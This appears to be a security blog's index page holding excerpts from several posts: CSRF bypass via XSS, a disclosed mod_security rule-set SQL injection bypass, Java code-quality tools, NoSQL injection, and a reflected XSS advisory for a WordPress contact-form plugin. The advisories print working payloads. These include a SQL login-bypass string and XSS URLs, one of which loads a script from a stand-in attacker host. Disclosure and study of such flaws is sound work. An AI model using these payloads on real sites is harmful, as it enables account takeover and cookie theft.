Bypass CSRF via XSS

In this post I will show why anti-CSRF tokens are useless as soon as there is an XSS vulnerability in the target site. This post contains all the example scripts necessary to reproduce bypassing CSRF protection via XSS vulnerabilities. The code is meant for educational purposes only.

Basic Terms: CSRF and XSS

CSRF means Cross-Site Request Forgery. The idea is to get a user that is logged in at a website to perform actions on that site they do not actually want to perform. This can be achieved by getting the victim to visit a website (possibly – but not necessarily – owned by the attacker) that contains specially crafted HTML code created by the attacker. CSRF is possible with POST as well as GET requests (although as per REST, GET requests shouldn’t actually change data on the server).

Anti-CSRF token is the recommended way to prevent CSRF. A one time token is stored in the session as well as the form when creating it, and when the form is submitted, the submitted token is compared to the session token. If they match, there is no CSRF attack.

XSS means cross-site scripting, and it allows an attacker to execute arbitrary JavaScript in the victims browser in the context of the vulnerable website.

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Mod_Security Bypass Login (CRS, SQL Injection)

  • Vulnerability: Bypass mod_security to perform SQL injection (login bypass)
  • Affected Software: OWASP ModSecurity Core Rule Set
  • Affected Version: 2.2.9 (probably also prior versions)
  • Patched Version: 3.0.0
  • Risk: Low
  • Vendor Contacted: 2014-12-07 via mail, 2015-02-18 via github
  • Vendor Fix: 2014-12-09 (in dev tree, independent of report)
  • Public Disclosure: 2015-02-18 on github

Mod_Security & Core Rule Set

mod_security is an Intrusion Detection System / Web Application Firewall for Apache, IIS, and nginx developed by SpiderLabs. As a filter list it uses the OWASP ModSecurity Core Rule Set.

Injection Payload

Using the Core ModSecurity Rule Set ver.2.2.9 with default configuration, SecRuleEngine On, and all base_rules enabled, it is possible to inject the following payload, which can be used to bypass filters in SQL queries:

foo' or true #
foo' or false #

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Comparison of Java Code Quality Tools

With a growing code base, it is good to have tools which can automatically find weaknesses in it, be it duplicate code, bad patterns, possible bugs, bad formatting, or bad design. Here are some of the tools that can analyze Java Code.

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MongoDB: NoSQL Injection & Security

A list of resources about NoSQL injection in general and PHP and MongoDB security specifically.

Intro: NoSQL Databases

NoSQL databases such as MongoDB are used more and more, but there isn’t a lot of information about the security of specific NoSQL databases or the security of NoSQL in general. The direction it seems to be going is: It’s not SQL, so SQL injection is not possible, so it is secure. This is of course not true at all. The damage that can be achieved with NoSQL injections does seem to be smaller than that of SQL injection, but that does not mean that developers should not care about it. Continue

Reflected XSS in WordPress Contact Form DB Plugin

  • Vulnerability: Reflected XSS
  • Affected Software: Contact Form DB (WordPress Plugin)
  • Affected Version: 2.8.17 (probably also prior versions)
  • Patched Version: 2.8.18
  • Risk: Low
  • Vendor Contacted: 2014-11-17
  • Vendor Fix: 2014-11-19
  • Public Disclosure: 2014-11-26

Description

There are two XSS vulnerabilities in the Contact Form DB WordPress Plugin admin area. If an attacker can get an administrator to click on a specific link, this can lead to the execution of arbitrary JavaScript, which in turn can for example lead to the stealing of cookies.

Simple POC

As single quotes are automatically escaped in WordPress, they cannot be used in the attack. It is still possible to inject a simple alert:

via submit_time:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script>alert(String.fromCharCode(88,83,83))</script><input name="1416134948.8682

via form_name:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1"><script>alert(String.fromCharCode(88,83,83));</script>

Exploiting the vulnerability

To get around the limitation of not using single quotes, an attacker can load a remotely hosted script:

http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script src=http://evil.attacker/myscript.js></script>

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